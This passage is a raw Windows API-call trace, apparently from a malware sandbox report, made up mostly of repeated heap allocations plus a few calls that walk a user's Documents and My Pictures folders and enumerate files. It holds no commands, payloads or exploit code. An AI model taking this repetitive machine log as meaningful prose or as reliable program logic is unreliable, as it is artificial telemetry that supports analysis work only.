Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.430] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.431] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.431] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.431] PathFindFileNameW (pszPath="") returned="" [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0xffffffff [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.431] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.431] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 